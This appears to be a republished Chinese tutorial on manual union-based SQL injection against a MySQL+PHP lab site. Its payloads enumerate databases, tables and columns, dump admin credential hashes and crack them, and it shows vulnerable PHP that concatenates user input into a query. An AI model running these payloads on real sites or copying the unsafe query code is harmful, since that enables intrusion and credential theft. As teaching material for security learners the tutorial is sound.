zl程序教程

您现在的位置是:首页 >  数据库

当前栏目

66.网络安全渗透测试—[SQL注入篇5]—[MySQL+PHP-手工注入简单示例]

2023-09-27 14:28:02 时间

我认为,无论是学习安全还是从事安全的人,多多少少都会有些许的情怀和使命感!!!

一、MySQL+PHP手工注入示例:库->表->列->行

0、MySQL数据表的相关概念:

    (1)表是数据库中最基本最重要的数据对象,用于存放数据库中的数据。
    (2)表是存储数据的一种逻辑结构,表由行和列构成,因此也称二维表。
    (3)每个表由若干行组成,表的第一行为各列标题,其余行都是数据。
    (4)一列就是一个字段,一行就是一条记录。

      通俗的说:
    (5)数据库里面存储着数据表。
    (6)数据表里面存储着一行一行的数据,也成为行数据,或者行记录,其中第一行是字段名/列名,也就是各列的标题。

1、查询所有的库

    (1)exp1: http://target_sys.com/article.php?id=-1 union select 1,2,SCHEMA_NAME from information_schema.SCHEMATA limit 0,1
             # SCHEMA_NAME代表库名
             # information_schema是一个存储着所有信息的库
             # SCHEMATA存储着所有的库名
             # 查询结果:information_schema,blogs,mysql,performance_schema,rbac,target_sys,test,wordpress
在这里插入图片描述
在这里插入图片描述

    (1)exp2:http://target_sys.com/article.php?id=-1 union select 1,2,group_concat(SCHEMA_NAME) from information_schema.SCHEMATA
             # 查询结果:information_schema,blogs,mysql,performance_schema,rbac,target_sys,test,wordpress

在这里插入图片描述

2、查询当前库里所有的表

    (1)exp:http://target_sys.com/article.php?id=-1 union select 1,2,group_concat(TABLE_NAME) from information_schema.TABLES where TABLE_SCHEMA=database()
             # 查询结果:admin,article,moon_range,users

在这里插入图片描述

3、查询admin表里所有的字段

    (1)exp:http://target_sys.com/article.php?id=-1 union select 1,2,group_concat(COLUMN_NAME) from information_schema.COLUMNS where TABLE_NAME=0x61646d696e
             # admin的十六进制编码为:0x61646d696e
             # 查询结果:id,username,password
在这里插入图片描述

4、查询admin表的所有行数据/记录

    (1)exp:http://target_sys.com/article.php?id=-1 union select 1,2,group_concat(username,0x3a,password) from admin
             # 查询结果:admin:e10adc3949ba59abbe56e057f20f883e
             # md5解密网站:https://md5.cc/
             # md5解密后密码为:123456
在这里插入图片描述
请添加图片描述

5、group_concat() 查询失败的原因和解决方法

(1)失败原因: 利用gourp_concat()函数的这种查询方法不是通用的,有时候查询不全,这个原因是字段本身在被定义的时候,长度设置的不够大

(2)解决方法:换一个回显字段进行查询,或者用函数查询长度再用字符串函数截取。这种方法将会在下面介绍。

(3)本次测试为什么可以查询成功:

后台关键源码: 通过以下源码,发现回显位是title和content字段

<?php 
	include 'init.php';
	$id =isset($_GET['id']) ? $_GET['id'] : 1;
	$result=mysql_query("select * from article where id=$id") or die(mysql_error());
	$row = mysql_fetch_array($result);
	echo "<h3>{$row['title']}</h3>";
	echo "<p>{$row['content']}</p>";
?>

我们现在去数据库里面查看: 发现title字段的类型是varchar,其长度为255;而content类型是text,text不需要设置长度,也可以能设置为0,不过存储还是最大值。
在这里插入图片描述